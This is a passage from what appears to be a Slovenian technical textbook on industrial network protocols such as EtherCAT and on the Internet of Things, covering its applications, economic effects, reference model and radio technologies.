podatkov, ki se na tem nivoju prenaša, je relativno majhna, zato pa so toliko bolj stroge zahteve glede 
zanesljivosti in zakasnitev pri prenosu. V praksi na tem nivoju prevladujejo A/S vmesniki, pri komunikacijskih 
protokolih pa protokola RS-232 in RS-485 pri starejših sistemih in PROFIBUS ter EtherCAT pri sodobnejših 
sistemih. 
 
Senzorji in aktuatorji so v porazdeljenem industrijskem omrežju povezani s krmilniki, tako da ti tvorijo ločene 
logične celote. Zaradi zagotavljanja visoke razpoložljivosti, ki je za industrijske sisteme ključnega pomena, se 
pogosto med senzorji in aktuatorji ter krmilniki uporabljajo redundantne povezave. Krmilniki, ki v 
porazdeljenem omrežju sestavljajo kontrolno omrežje, so povezani z različnimi delovnimi postajami in 
strežniki, na katerih se izvaja upravljanje z industrijskim procesom kot celoto. Omenjene delovne postaje in 
strežniki so v večini primerov povezani v poslovno omrežje, kjer so podatki iz njih potrebni pri načrtovanju 
proizvodnje, nabavi materiala in drugih osnovnih sredstev. 
 
2.5. Komunikacijski protokoli v industrijskih omrežjih 
Protokoli, ki se uporabljajo za prenos podatkov v industrijskih omrežjih, so podobno kot sami industrijski 
sistemi med seboj zelo raznoliki in močno odvisni od namena uporabe. Nekateri med njimi so namenjeni 
uporabi v manjši omrežjih, spet drugi so prilagojeni za uporabo v močno geografsko distribuiranih sistemih, 
kot so na primer SCADA sistemi. Prav tako se protokoli močno razlikujejo med posameznimi proizvodnimi 
panogami. 
 
Če so v preteklosti v industrijskih sistemih prevladovali komunikacijski protokoli, ki so jih razvili posamezni 
proizvajalci strojne in programske opreme, se v zadnjih letih vse pogosteje uporabljajo protokoli, ki temeljijo 
na protokolu Ethernet, saj se je ta pokazal kot dovolj učinkovit in zanesljiv tudi v okoljih, kjer je motenj več, 
že najmanjše napake pri prenosu pa lahko pripeljejo do katastrofalnih posledic. Glede na to, v kolikšni meri je 
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potrebno protokol Ethernet prilagoditi, da bo ta uporaben v industrijskih okoljih, lahko protokole razdelimo 
v tri skupine [3]. 
 
V prvo skupino spadajo protokoli, ki zahtevajo minimalne prilagoditve TCP/IP protokolnega sklada. Ker 
protokoli TCP, UDP in IP v praksi omogočajo zelo omejene možnosti zagotavljanja kakovosti (predvsem 
zakasnitev), se ti uporabljajo večinoma v primerih, ko to ne vpliva na nadzor in upravljanje procesov oziroma 
je dopusten prenos v skladu z najboljšimi zmožnostmi (angl. best effort). Zaradi uporabe protokolov TCP in 
IP ti omogočajo precej prilagodljivosti pri gradnji porazdeljenih sistemov, saj je v tem primeru mogoča uporaba 
vseh tehnologij, ki jih dobro poznamo iz poslovnih sistemov (na primer VPN povezav za združevanje 
geografsko porazdeljenih sistemov v enoten sistem). Najpogosteje uporabljena protokola iz te skupine sta 
protokola PROFINET (CbA) ter Modbus/TCP.  
 
V drugo skupino spadajo protokoli, ki na transportnem in omrežnem sloju ne uporabljajo protokolov TCP/IP 
protokolnega sklada in posledično lahko zagotavljajo bolj predvidljive pogoje pri prenosu. Tipični primer 
takšnega protokola je protokol PROFINET (RT), ki omogoča prenos podatkov v realnem času. 
 
V tretjo skupino spadajo protokoli, ki z namenom zagotavljanja kakovosti in delovanja v realnem času, 
zahtevajo prilagoditev na vseh ravninah protokolnega sklada. Tipični primer protokola iz te skupine je protokol 
EtherCAT, ki predvideva uporabo namenskih EtherCAT stikal. Omenjena stikala je mogoče uporabiti za 
gradnjo zelo raznolikih topologij omrežij, od vodila (angl. bus), drevesa (angl. tree), obroča (angl. ring), zvezde 
(angl. star) ali njihovih poljubnih kombinacij. 
 
2.5.1. Protokol EtherCAT 
Glede na to, da se v sodobnih industrijskih sistemih vse pogosteje srečujemo s protokolom EtherCAT, si velja 
na tem mestu podrobneje ogledati osnovne principe njegovega delovanja in naslavljanja. Ethernet, kot ga 
poznamo iz poslovnih omrežij, temelji na uporabi skupinskega medija, na katerega so priključena vsa vozlišča 
v omrežju. Če iz nadaljnje obravnave izvzamemo zvezdišča (angl. hub) in se posvetimo zgolj stikalom (angl. 
switch), potem lahko rečemo, da kljub uporabi skupinskega medija do kolizij pri sočasnem oddajanju večih 
vozlišč ne more priti, saj to preprečijo stikala, katera vodijo evidenco o postajah, ki so priključene na posamezna 
vrata. Takšen način preprečevanja trkov na skupinskem vodilu za industrijske sisteme ne bi predstavljal nobene 
težave, če se zaradi tega ne bi spreminjale zakasnitve med oddajo in sprejemom oziroma teh zaradi 
preprečevanja trkov vnaprej ne bi bilo mogoče predvideti. Omenjena pomanjkljivost je pri protokolu 
EtherCAT odpravljena tako, da nadzor nad uporabo skupinskega medija opravlja nadrejeno vozlišče (master), 
katero najpogosteje predstavlja industrijski krmilnik, vsa ostala vozlišča, ki so povezana v omrežje, pa so temu 
podrejena (slave). 
 
Da bi v praksi dosegli kar največjo možno učinkovitost glede potrebne pasovne širine in zakasnitev pri 
prenosu, se pri protokolu EtherCAT en sam Ethernet paket lahko uporabi za prenos večjega števila sporočil 
med različnimi vozlišči. Pri največji velikosti Ethernet paketa 1500 B je tako vanj mogoče shraniti več deset 
različnih EtherCAT sporočil, saj vsako vsebuje glavo velikosti 10 B, v kateri je med drugim zapisan naslov 
podrejenega vozlišča, podatkovni števec velikosti 2 B ter same podatke.  
 
Podobno se zaradi zagotavljanja minimalnih zakasnitev pri prenosu paketi pri protokolu EtherCAT na samih 
vozliščih obdelujejo drugače kot smo tega vajeni pri protokolu Ethernet. Če se pri slednjem vselej zavržejo 
paketi, ki niso namenjeni posameznemu vozlišču, so pri protokolu EtherCAT vsi Ethernet paketi naslovljeni 
na skupinski naslov FF:FF:FF:FF:FF:FF, kar zagotavlja, da bodo tega obdelala vsa podrejena vozlišča. Prav 
tako se v samem vozlišču procesiranje prične takoj ob sprejemu prvega dela EtherCAT sporočila. 
 
Za konec velja dodati še, da je EtherCAT pakete mogoče prenašati tudi med posameznimi omrežji, saj jih je 
mogoče enkapsulirati v IP oziroma UDP pakete. 
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3. INTERNET STVARI 
Internet je kot globalno omrežje, v katero so se začela povezovati prej ločena lokalna omrežja, začel dobivati 
vidnejšo vlogo v vsakdanjem življenju v drugi polovici devetdesetih let, ko so ljudje začeli odkrivati prednosti, 
ki jih je prinašala uporaba svetovnega spleta in elektronske pošte (prvi spletni strežnik W3C HTTPD je nastal 
konec leta 1990, prvi grafični brskalnik Mosaic pa v začetku leta 1993). Že kmalu so se začele pojavljati tudi 
prve spletne trgovine (eBay in Amazon leta 1995), skupaj z rastjo števila uporabnikov internetnih storitev pa 
so rasla tudi pričakovanja glede nove internetne ekonomije in dosegla svoj vrh leta 2000 (vrednost indeksa 
NASDAQ na borzi v New Yorku je 10. marca 2010 dosegla 5132.52). Drastičen padec tržnih vrednosti skoraj 
vseh IT podjetij ni zaustavil nadaljnje rasti števila internetnih uporabnikov, ki so jo poganjale predvsem vse 
bogatejše spletne in multimedijske storitve, omogočal pa hiter razvoj širokopasovnih tehnologij, najprej na 
fiksnih dostopovnih omrežjih, kasneje pa tudi na mobilnih. Ko so se začela pojavljati tudi že prva socialna 
omrežja (LinkedIn leta 2003 in Facebook leta 2004), je bilo število internetnih uporabnikov že tako veliko, da 
so se že začele kazati resne omejitve protokola IPv4, na katerem temelji delovanje interneta. Omenjene težave 
z neučinkovito zgradbo paketov, neustreznim naslavljanjem in pomanjkljivo podporo mobilnosti, varnosti in 
zagotavljanju kakovosti storitev, je odpravil protokol IPv6, ki se je začel uporabljati vse pogosteje tudi v praksi. 
 
Seveda pa ljudje v vsem tem obdobju nismo bili edini uporabniki interneta. Čeprav je bil že davnega leta 1992 
kot prva naprava v internet povezan distribucijski avtomat za pijačo na univerzi Carnegie Mellon, je bila 
potrebna še cela vrsta novih rešitev in tehnoloških izboljšav, da bi omogočili rojstvo interneta stvari (angl. 
Internet of Things – IoT). Med pomembnejše brez dvoma spadajo: 
 
 Možnost zagotavljanja cenovno sprejemljivega dostopa do interneta praktično neodvisno od 
geografske lokacije. Širokopasovnim fiksnim omrežjem, ki so nastala kot nadgradnja telefonskih in 
kabelskih omrežij, so se po letu 2000 začela pridruževati širokopasovna mobilna omrežje tretje in 
četrte generacije, ki so že omogočala neposredno IP povezljivost. Podobno pomembno vlogo so 
širokopasovna mobilna omrežja odigrala tudi pri zmanjševanju digitalnega razkoraka, saj so dostop 
do interneta omogočila mnogim uporabnikom v manj razvitih državah Afrike in Azije, kjer 
telefonska ali kabelska omrežja sploh niso obstajala. Težave s kroničnim pomanjkanjem javnih IPv4 
naslovov in potrebo po uporabi zasebnih IPv4 naslovov, je uspešno rešil protokol IPv6, ki je 
omogočal neposredno naslavljanje praktično neomejenega števila naprav (če smo natančnejši in 
predvidimo v skladu z današnjo dobro prakso uporabo 64-bitne maske pri protokolu IPv6, je 
mogoče v posamezno lokalno omrežje priključiti približno 18∙1018 vozlišč).     
 Povečevanje zmogljivosti naprav in njihova nadaljnja miniaturizacija, ki sta omogočili hitro 
povečevanje njihovih funkcionalnosti. Mobilne telefone so tako na primer po letu 2007, ko je Apple 
predstavil prvo generacijo telefona iPhone, začeli zamenjevati pametni telefoni, ki so omogočali 
snemanje fotografij in videoposnetkov ter branje elektronske pošte in dostop do spleta, uporaba 
GPS/GLONASS sprejemnikov pa je omogočila njihovo uporabo za navigacijo in dala zagon 
razvoju cele vrste lokacijskih storitev (na primer iskanje, oglaševanje, …). 
 Hiter razvoj in zniževanje cen najrazličnejših senzorjev. Če kot primer spet uporabimo pametni 
telefon, so proizvajalci že praktično v prve primerke vgrajevali zaslone, občutljive na dotik, kasneje 
pa temu dodali še različne okoljske senzorje. Pametni telefon Samsung Galaxy prve generacije, ki 
je na trg prišel leta 2010, je vseboval senzorje svetlobe, pospeška in magnetnega polja. V drugi 
generaciji, ki je na trg prišla leta 2011, je proizvajalec dodal še merilnik bližine ter žiroskop, v 
naslednjih pa še merilnike zračnega pritiska, temperature in vlažnosti ter srčnega utripa in čitalec 
prstnih odtisov. V šesti generaciji, ki je prišla na trg leta 2015, je bil v pametni telefon dodan še 
merilnik nasičenosti krvi s kisikom (SpO2), tako da število senzorjev, ki jih najdemo v današnjih 
pametnih telefonih, presega številko 15. 
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 Razvoj storitev v oblaku, ki so omogočile obdelavo in shranjevanje nepredstavljivih količin 
podatkov, iz katerih je postalo mogoče poiskati marsikatero odvisnost ter ugotovljene zakonitosti 
uporabiti za izdelavo napovedi. 
 
3.1. Kaj je internet stvari in kaj ta prinaša? 
Internet stvari predstavlja del interneta, v katerega so povezane stvari v najširšem pomenu besede – pametne 
mobilne naprave, pametna oblačila, gospodinjski aparati, naprave široke potrošnje, stroji, prevozna sredstva, 
stavbe, … Delovanje interneta stvari temelji na uporabi senzorjev in drugih elektronskih komponent za zajem 
najrazličnejših podatkov, stacionarnih in mobilnih omrežij za njihov prenos ter ustreznih rešitev za njihovo 
obdelavo in hranjenje. Že kratek opis interneta stvari je dal slutiti, da igrajo v tem kontekstu ključno vlogo 
podatki, zato ne presenečajo napovedi različnih analitskih podjetij, da bodo v prihodnje podatki vključeni v 
bilance podjetij kot neopredmetena sredstva. Prav tako na vse večji pomen podatkov oziroma informacij v 
poslovnem svetu kaže hiter razvoj področja infonomike oziroma ekonomike informacij, ki se je začel po letu 
2010. Še predenj pa se podrobneje posvetimo ekonomskim vidikom interneta stvari, poskusimo poiskati tista 
področja v zasebnem in poslovnem svetu, na katerih bodo spremembe najbolj očitne [4]. 
 
3.1.1. Vsakdanje življenje in zdravje 
Internet stvari bo v marsičem spremenil naš vsakdan, saj bo pomembno vplival tako na naše zasebno kot tudi 
poslovno življenje. Trend razvoja pametnih gospodinjskih aparatov (sesalniki, hladilniki, pečice, pralni, sušilni 
in pomivalni stroji, …), ki smo mu bili priča že v preteklih letih, se bo v prihodnje nadaljeval, pri čemer bo 
vedno večji pomen igrala medsebojna združljivost posameznih naprav (tako bo na primer pralni, sušilni ali 
pomivalni stroj kot relativno velik porabnik električne energije mogoče vključiti kadar bodo v električnem 
omrežju na razpolago lokalni presežki električne energije, ki jih bodo proizvedle sončne ali vetrne elektrarne). 
Podobno se bo dogajalo tudi na področju avtomatizacije doma (gretje, hlajenje, prezračevanje, osvetlitev, …) 
in pisarniških prostorov, kjer bo glavno vodilo predstavljalo povečanja energijske učinkovitosti in posledično 
zniževanje stroškov. 
 
Prav tako bo imel internet stvari velik vpliv na celo vrsto proizvodov in storitev, ki so tako ali drugače povezane 
z našim zdravjem. Zbiranje in obdelava podatkov iz različnih senzorjev, ki bodo v obliki pametnih ur ali oblačil 
priključeni neposredno na naše telo, bo na primer omogočilo zgodnje odkrivanje cele vrste kroničnih bolezni 
in znižanje stroškov zdravljenja kroničnih bolezni za 50 % [5], spremljanje naših vsakdanjih športnih aktivnosti 
in prehranjevalnih navad pa bo omogočilo bistveno zmanjšanje pogostosti bolezni, ki so posledica prekomerne 
telesne teže. Čeprav smo danes po splošnem prepričanju šele v začetku uvajanja interneta stvari na področje 
zdravstva, nekatere raziskave s tega področja kažejo zelo velika pričakovanja potrošnikov. V skladu z eno od 
takšnih raziskav naj bi se namreč za več kot polovico anketiranih povprečna življenjska doba povečala za 10 
let v primeru uporabe proizvodov in storitev interneta stvari [6]. 
 
3.1.2. Mobilnost in transport 
Podobno kot na zasebno in poslovno življenje bo internet stvari imel velik vpliv tudi na mobilnost oziroma 
transport, pa naj gre za zemeljski, vodi ali zračni. Podjetja, ki se ukvarjajo z logistiko, bodo tako lahko prometne 
tokove bistveno bolje prilagajala dejanskih razmeram na transportnih poteh in v skladiščih, saj bodo imela na 
voljo bistveno več podatkov o lokaciji vozil, gostoti prometa na cestnih in železniških povezavah ter o 
zasedenosti skladišč v distribucijskih centrih.  
 
Zelo velika pričakovanja med potrošniki, še posebej med tistimi, ki pripadajo generaciji Y (rojeni med letoma 
1980 in 2000), danes vladajo glede samostojnih vozil [7], ki bodo sposobna samostojne vožnje v cestnem 
prometu in pri tem ne bodo zahtevala kakršnihkoli prilagoditev cestišč ali prometne signalizacije. Razvoj in 
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praktična uporaba takšnih vozila, ki poleg lokacijskih storitev, uporabljajo še celo vrsto laserskih in radarskih 
merilnikov razdalj ter kamer za določanje položaja ovir v svoji neposredni okolici, naj bi bil po prepričanju 
mnogih tesno povezan prav z internetom stvari [8]. Eno od področij, ki ga bo potrebno prilagoditi še pred 
pričetkom množične uporabe samostojnih vozil, je brez dvoma tudi zakonodaja s področja varnosti v cestnem 
prometu.  
 
3.1.3. Pametna mesta 
Večina svetovnega prebivalstva danes živi v mestih, do leta 2025, ko naj bi se internet stvari v praksi že uveljavil 
v polnem obsegu, pa naj bi prebivalci 600 največjih svetovnih mest ustvarili kar 60 % svetovnega BDP [9]. Ob 
upoštevanju omenjenega dejstva bo internet stvari brez dvoma pomembno vplival tudi na razvoj pametnih 
mest, pri čemer naj bi bil vpliv največji na področju transporta in javnega zdravja oziroma okolja. Uporaba 
senzorjev za spremljanje prometnih tokov in tako pridobljenih podatkov za njihovo upravljanje bosta 
omogočila bistveno večjo pretočnost prometnih povezav, na katerih bodo prevladovala avtonomna vozila tudi 
v javnem cestnem in železniškem prometu in ne zgolj za prevoz posameznikov. Možnost bistveno 
natančnejšega merjenja okolijskih parametrov (temperatura, vlažnost, smer in jakost vetra, onesnaženost zraka 
s prašnimi delci, hrup, …) bo prebivalcem pametnih mest zagotovila boljše življenjsko okolje. Prav tako bo 
mogoče z uporabo interneta stvari v pametnih mestih zmanjšati posledice onesnaženja, saj bo mogoče z 
uporabo izmerjenih podatkov pripraviti bistveno natančnejše napovedi onesnaženosti. 
 
3.1.4. Gospodarstvo 
Področje gospodarstva v najširšem pomenu besede predstavlja med vsemi področji, na katera bo internet stvari 
imel vpliv, verjetno najpomembnejše, saj so, kot bomo videli kasneje, ocenjeni ekonomski učinki na področju 
kmetijstva, rudarstva, industrijske proizvodnje in v javnem sektorju največji. Ključne pridobitve interneta stvari 
na področju industrijske proizvodnje predstavljajo povečanje produktivnosti z optimizacijo procesov, 
povečanje energijske učinkovitosti ter učinkovitosti delovne sile, možnost preventivnega vzdrževanja strojev 
in naprav ter optimizacija zalog. Možnost natančnejšega spremljanja dejanske rabe proizvedenih izdelkov bo 
prav tako pomembno vplivala na njihov razvoj in proizvodnjo, saj bodo tako pridobljeni podatki omogočili 
izbiro ustreznejših tehnologij za njihovo proizvodnjo ter kvaliteto njihovih sestavnih delov. Posledično to 
pomeni učinkovitejšo proizvodnjo ne le s cenovnega, pač pa tudi z ekološkega vidika. 
 
Internet stvari bo imel velik vpliv tudi na javni sektor, ki se bo po nekaterih predvidevanjih kazal predvsem 
kot povečana učinkovitost zaposlenih na vseh ravneh, na obrambnem področju pa naj bi ta omogočal celo 
štirikratno povečanje bojnih zmogljivosti  [10]. 
 
3.1.5. Maloprodaja 
Znižanje cen senzorjev in njihova miniaturizacija odpirajo povsem novo poglavje na področju maloprodaje in 
prinaša cel kup prednosti tako za kupce kot tudi prodajalce. Prvi bodo tako imeli v prihodnje z uporabo 
pametnih telefonov možnost pridobiti podrobne informacije in priporočeno uporabo za poljubni izdelek, prav 
tako pa jim ne bo več potrebno čakati v vrstah na blagajnah, saj se bo vrednost nakupa izračunala samodejno 
z uporabo značk, vgrajenih v posamezne izdelke. V trgovinah z oblačili bodo na primer kupcem na voljo 
pametna ogledala, v katerih bo mogoče preveriti kako posamezniku izbrano oblačilo pristaja, brez da bi bilo 
tega dejansko potrebno pomeriti. Mnenje o tem bo mogoče pridobiti tudi iz poljubnega socialnega omrežja. 
Po drugi strani bodo prodajalci z označevanjem izdelkov z značkami in vgradnjo senzorjev v prodajne police 
imeli bistveno bolj natančne podatke o dejanskih zalogah na policah. Podobno bodo ob poznavanju nakupne 
zgodovine posameznega potrošnika lahko povečali verjetnost nakupa tudi s prilagoditvijo cene izbranega 
izdelka. Pričakovanja prodajalcev so glede tega še posebej velika, saj si ti obetajo povišanje prihodkov. Prav 
tako si prodajalci v maloprodaji obetajo boljše možnosti urejanja prodajnih poti, saj bo s sledenjem pametnim 
telefonom, nakupovalnim košaricam ali vozičkom mogoče natančneje določiti kako so se kupci gibali znotraj 
prodajnega prostora in kakšen delež časa so se zadržali pred posamezno nakupovalno polico.  
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Zadnji predstavljeni primeri uporabe interneta stvari v maloprodaji razkrivajo eno ključnih vprašanj, na 
katerega bo potrebno v prihodnjih letih najti ustrezen odgovor. Ker bo tehnologija omogočila zbiranje in 
obdelavo vse večjih količin podatkov, ki jih danes pojmujemo kot izrazito osebne, bo potrebno veliko truda 
nameniti zakonski ureditvi zagotavljanja zasebnosti posameznikov. Ker smo v uvodu že namignili, da bodo 
podatki v prihodnje postali tržno blago, bo potrebno nenazadnje najti ustrezen odgovor tudi na vprašanje 
njihovega lastništva. 
 
3.2. Ekonomski učinki in četrta industrijska revolucija 
Odgovor na vprašanje, kakšni bodo ekonomski učinki razvoja interneta stvari, se zdi vse prej kot enostaven. 
Kot smo videli je področij, na katera bo internet stvari imel precejšen vpliv, kar nekaj, kljub temu pa je 
ekonomske učinke mogoče strniti v dve različni skupini. Po eni strani bo uporaba novih tehnologij za zbiranje 
in analizo podatkov omogočila optimizacijo obstoječih poslovnih procesov, po drugi pa bo omogočila razvoj 
povsem novih poslovnih modelov.  
 
Da bi si lažje predstavljali kakšne so dejanske možnosti v prvi skupini, velja omeniti, da po nekaterih ocenah 
danes koristno uporabimo manj kot 1 % zbranih podatkov [5]. Ker bo internet stvari omogočil pridobivanje 
podatkov o uporabi praktično katerekoli naprave, že danes upravičeno pričakujemo razvoj povsem novih 
poslovnih modelov. Najemni model, ki je v IT svetu že kar nekaj časa povsem vsakdanji (IaaS, SaaS, …), se 
bo v prihodnje razširil tudi na druga področja in omogočil prehod iz družbe lastništva v družbo souporabe 
[11]. Da gre za povsem smiselna pričakovanja, kaže na primer tudi poslovno sodelovanje Philipsa z 
upraviteljema podzemne železnice v Washingtonu [12] in letališča v Amsterdamu [13], pri katerem oba 
plačujeta le dejansko poizvedeno svetlobo, stroške zamenjave žarnic, svetilk in vse druge elektronske opreme, 
ki je potrebna za njihovo nemoteno delovanje, pa v celoti nosi Philips. Podoben poslovni model na primer 
uporablja tudi Rolls-Royce pri svoji storitvi Total Care, pri kateri letalskim prevoznikom omogoča plačilo 
dejanskih ur uporabe letalskih motorjev, sam kot proizvajalec pa prevzema tveganje za morebitne okvare le-
teh in stroške njihovega popravila.   
 
Praktično vsi igralci na trgu ITkT storitev in proizvodov imajo od interneta stvari resnično velika pričakovanja. 
V eni od tržnih in tehnoloških analiz pri podjetju Gartner na primer ugotavljajo, da so bila sredi leta 2015 
pričakovanja glede interneta stvari najvišja med vsemi novimi tehnologijami [8], časovni okvir, v katerem naj 
bi se ta uveljavil tudi v praksi, pa naj bi znašal med 5 in 10 let.  
 
Prav tako napovedi kažejo, da bodo kar 90 % vrednosti ekonomskih učinkov, ki jih prinaša internet stvari, 
izkoristili njegovi uporabniki [5], pa naj gre za končne uporabnike ali pa na primer lastnike proizvodnih podjetij.   
 
3.3. Referenčni modeli 
Internet kot omrežje, ki je iz akademskih okvirov v drugi polovici devetdesetih let preraslo v globalno omrežje 
in v katerega so se najprej začeli povezovati poslovni in rezidenčni uporabniki, kasneje pa so se jim pričeli 
pridruževati še mobilni uporabniki iz praktično vseh držav sveta, se s stališča topologije v tem času skoraj ni 
spremenilo. Vseskozi je namreč bil zasnovan kot množica med seboj povezanih neodvisnih omrežij, katerim 
skupen je bil način upravljanja. Povezave med posameznimi omrežji so bile neposredne skoraj izključno v 
primeru ponudnikov dostopa (angl. Internet Service Provider – ISP), ki so dostop do interneta kot globalnega 
omrežja zagotavljali za vse svoje uporabnike. Omenjena hierarhična in decentralizirana topološka struktura, v 
kateri se je za izmenjavo usmerjevalnih podatkov uporabljal protokol BGP, se je izkazala kot dovolj 
prilagodljiva, da je omogočila nemoteno rast števila uporabnikov in prometa, ki ga ti generirajo. 
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Uvedba interneta stvari bo pomenila bistveno povečanje števila vozlišč, ki bodo povezana v internet, saj 
omenjena vozlišča ne bodo več le delovne postaje, prenosniki, strežniki ali pametni telefoni in tablice, pač pa 
še cela množica drugih stvari oziroma naprav, strojev, senzorjev, avtomobilov, stavb, … Po oceni ene od 
analitskih hiš naj bi bilo leta 2016 v internet povezanih 6.4 milijarde, leta 2020 pa že 20.8 milijarde stvari [14]. 
Prav predvideno zelo veliko število naprav in njihova zelo velika raznolikost so zahtevale razvoj novih 
referenčnih modelov. Po zgledu interneta, kjer se je kot ključna za rast in razvoj izkazala možnost zagotavljanja 
medsebojne združljivosti posameznih rešitev s strani proizvajalcev strojne in programske opreme, tudi internet 
stvari temelji na odprtih standardih in referenčnih modelih. Da pa je internet stvari kljub vsemu še relativno 
mlado področje, pričakovanja in interesi posameznih akterjev na tem področju pa zelo velika, dokazuje dejstvo, 
da širši dogovor o referenčnem modelu interneta stvari še ni bil dosežen. Del standardizacije poteka pod 
okriljem posebne delovne skupine znotraj mednarodne zveze za telekomunikacije ITU-T [15], del pa pod 
okriljem IoT World Foruma, v katerem so zbrana tako podjetja iz IT industrije (na primer IBM, Cisco, Oracle, 
SAP, …), kot tudi proizvajalci rešitev za avtomatizacijo (na primer Siemens, ABB, …) in mnogi drugi. 
Pomembna igralca na tem področju, ki se ukvarjata bolj s standardizacijo aplikacij v internetu stvari, sta tudi 
konzorcija Open Interconnect Consortium (OIC) oziroma Open Connectivity Foundation (OCF) in AllSeen 
Alliance. 
 
Kljub omenjeni negotovosti, ki vlada glede standardizacije rešitev v internetu stvari, poskusimo poiskati ključne 
razlike med internetom in internetom stvari, pri čemer kot izhodišče privzemimo referenčni model, ki je nastal 
leta 2014 pod okriljem IoT World Foruma [16].  
 
 
 
 
 
 
 
 
 
 
 
 
 
 
Slika 2: Referenčni model interneta stvari [16] 
Že večkrat omenjeno konvergenco IT in OT tehnologij, ki je nujna za uspešno uvedbo interneta stvari v 
prakso, lahko prepoznamo tudi na tem primeru, saj so zgornji štirje nivoji povezani s tehnologijami, ki jih že 
poznamo, spodnje tri pa si bomo nekoliko podrobneje ogledali: 
 
 Fizične naprave in krmilniki – najnižji nivo referenčnega modela interneta stvari predstavljajo same 
stvari, pa naj gre za enostavne senzorje in aktuatorje ali bolj kompleksne stroje in naprave. 
Omenjene stvari sodelujejo pri merjenju najrazličnejših fizikalnih veličin oziroma neposredno 
vplivajo na izvajanje procesov. 
 Povezljivost – drugi nivo predstavljajo mrežne naprave, katere stvarem omogočajo varen in 
zanesljiv prenos podatkov. Tipični predstavniki drugega nivoja referenčnega modela so stikala, 
dostopovne točke, usmerjevalniki, … 
 Agregacija podatkov – ključna naloga elementov tretjega nivoja referenčnega modela je agregacija 
podatkov, ki jih proizvajajo senzorji in druge naprave na prvem nivoju. Ker je omenjeni nivo precej 
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specifičen, poskusimo njegovo vlogo ponazoriti s primerom iz telemetrije. Vzemimo na primer 
letalski motor Pratt & Whitney PW1100G, ki je vgrajen v sodobna potniška letala kot sta na primer 
Airbus 320NEO ali Boeing 737MAX. V omenjeni turbinski motor je vgrajenih več kot 5.000 
senzorjev, ki skupaj generirajo podatke s hitrostjo 10 GB/s [17]. Da je omenjena hitrost prevelika 
za katerokoli brezžično omrežje verjetno ni potrebno posebej poudarjati, zato je potrebno pred 
njihovim prenosom zmanjšati količino podatkov. Kakšne so praktično izvedljive hitrosti prenosa 
podatkov precej bolj nazorno prikazuje primer formule 1, v katero je vgrajenih več kot 120 
senzorjev, v času dirke, ki traja približno 90 minut, pa je prenesenih med 5 in 6 GB podatkov [18].  
 
3.4. Ključne tehnologije 
Kot smo videli prinaša internet stvari spremembe na skoraj vseh področjih našega zasebnega in poslovnega 
življenja. Avtomatizacija doma, napredne zdravstvene storitve, samostojna vozila ter drugi pametni stroji in 
naprave zahtevajo ustrezne rešitve za zbiranje, prenos in obdelavo podatkov. Glede na to, da smo enega od 
pomembnejših referenčnih modelov interneta stvari že predstavili in pri njem posebej izpostavili nujno 
potrebno agregacijo podatkov, ki jih bodo zbirali najrazličnejši senzorji, se bomo v nadaljevanju posvetili 
predstavitvi različnih tehnologij in protokolov, ki bodo v takšnih sistemih uporabljeni. Če same senzorje, ki 
bodo namenjeni zbiranju podatkov, pustimo ob strani in se posvetimo prenosu in obdelavi zbranih podatkov, 
potem moramo nujno izpostaviti ustrezne tehnologije za brezžični prenos podatkov, možnost zagotovitve 
dostopa do interneta za praktično neomejeno število naprav in možnost analize praktično neomejene količine 
zbranih podatkov. Ob tem verjetno ni potrebno posebej poudarjati, da je prav od možnosti zagotovitve 
medsebojne združljivosti posameznih implementacij močno odvisna praktična uporabnost celotnega interneta 
stvari. 
 
3.4.1. Učinkovite radijske tehnologije 
Radijske tehnologije, ki jih srečamo v internetu stvari, je verjetno najenostavneje razdeliti glede na predvideni 
obseg uporabe. Po eni strani za prenos podatkov v osebnih omrežjih (angl. Personal Area Network – PAN) 
oziroma na površini nekaj deset kvadratnih metrov uporabljamo protokole kot so IEEE 802.15.4, ZigBee, 
WirelessHART, BTLE ali 6LoWPAN, pri katerih je poraba energije za prenos podatkov ključnega pomena, 
temu ustrezno nizke pa so tudi prenosne hitrosti. Da bi lahko zagotovili omenjeno visoko stopnjo energijske 
učinkovitosti, se pri nekaterih od omenjenih protokolov uporabljajo mehanizmi za pridobivanje energije iz 
okolja s pomočjo indukcije.  
 
Protokol IEEE 802.15.4, ki predstavlja daleč najpogosteje uporabljeni protokol fizičnega in povezavnega sloja 
TCP/IP protokolnega sklada v internetu stvari, ponuja precej prilagodljivosti pri gradnji avtonomnih 
brezžičnih omrežij, saj poleg klasične topologije zvezde omogoča tudi precej bolj praktično topologijo točka-
točka. Ker lahko pri takšnem načinu usmerjanja prometa vsako od vozlišč komunicira s poljubnim drugim 
vozliščem, uporaba protokola IEEE 802.15.4 omogoča vozliščem visoko stopnjo samostojnosti. Za 
naslavljanje vozlišč se pri protokolu IEEE 801.15.4 uporabljajo 64-bitni MAC naslovi, največja velikost paketa 
pa je enaka 133 B, kar je precej manj od tistega, kar smo vajeni pri Ethernetu, kjer ta znaša 1518 B. 
 
Protokol ZigBee predstavlja funkcionalno nadgradnjo protokola IEEE 8012.15.4, saj implementira 
funkcionalnosti omrežnega, transportnega in aplikacijskega sloja TCP/IP protokolnega sklada. Čeprav je 
protokol ZigBee veliko bolj uporaben v praksi, še vedno ne omogoča neposredne povezljivosti napravam v 
internet, saj na omrežnem sloju ne uporabljajo protokola IPv6. Rešitev omenjenih težav ponuja protokol 
6LoWPAN, pri katerem se v smislu boljše učinkovitosti na radijskem vmesniku uporablja kompresija glav. 
 
Po drugi strani pa se v internetu stvari za prenos podatkov na večje razdalje uporabljajo protokoli, ki jih že 
dobro poznamo iz brezžičnih (IEEE 802.11) in mobilnih (3G/4G/5G) omrežij. Bistveno večji doseg in 
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prenosna hitrost imata seveda svojo ceno, saj je poraba energije, potrebne za prenos podatkov med vozlišči, 
pri protokolih te vrste bistveno večja. 
 
3.4.2. Neomejena povezljivost 
Že večkrat smo izpostavili dejstvo, da bo internet stvari v internet, kot ga poznamo danes, povezal zelo veliko 
število med seboj zelo različnih naprav, ki bodo zbirale in tako ali drugače obdelovale podatke. Da bi lahko 
zagotovili neposredno povezljivost med omenjenimi napravami in se izognili vsem slabostim, ki jih prinaša 
uporaba zasebnih naslovnih prostorov pri protokolu IPv4, bo v internetu stvari nujna uporaba protokola IPv6.  
 
Omejitve protokola IPv4 glede naslavljanja in možnosti zagotavljanja varnosti in kakovosti storitev so z rastjo 
števila uporabnikov interneta ter konvergenco omrežij postajale vse bolj očitne, zato je v drugi polovici 
devetdesetih let postalo jasno, da bo potrebno standardizirati nov protokol omrežnega sloja v TCP/IP 
protokolnem skladu. Naloga, ki so jo takrat imeli pred seboj inženirji, je bila vse prej kot enostavna, saj je bilo 
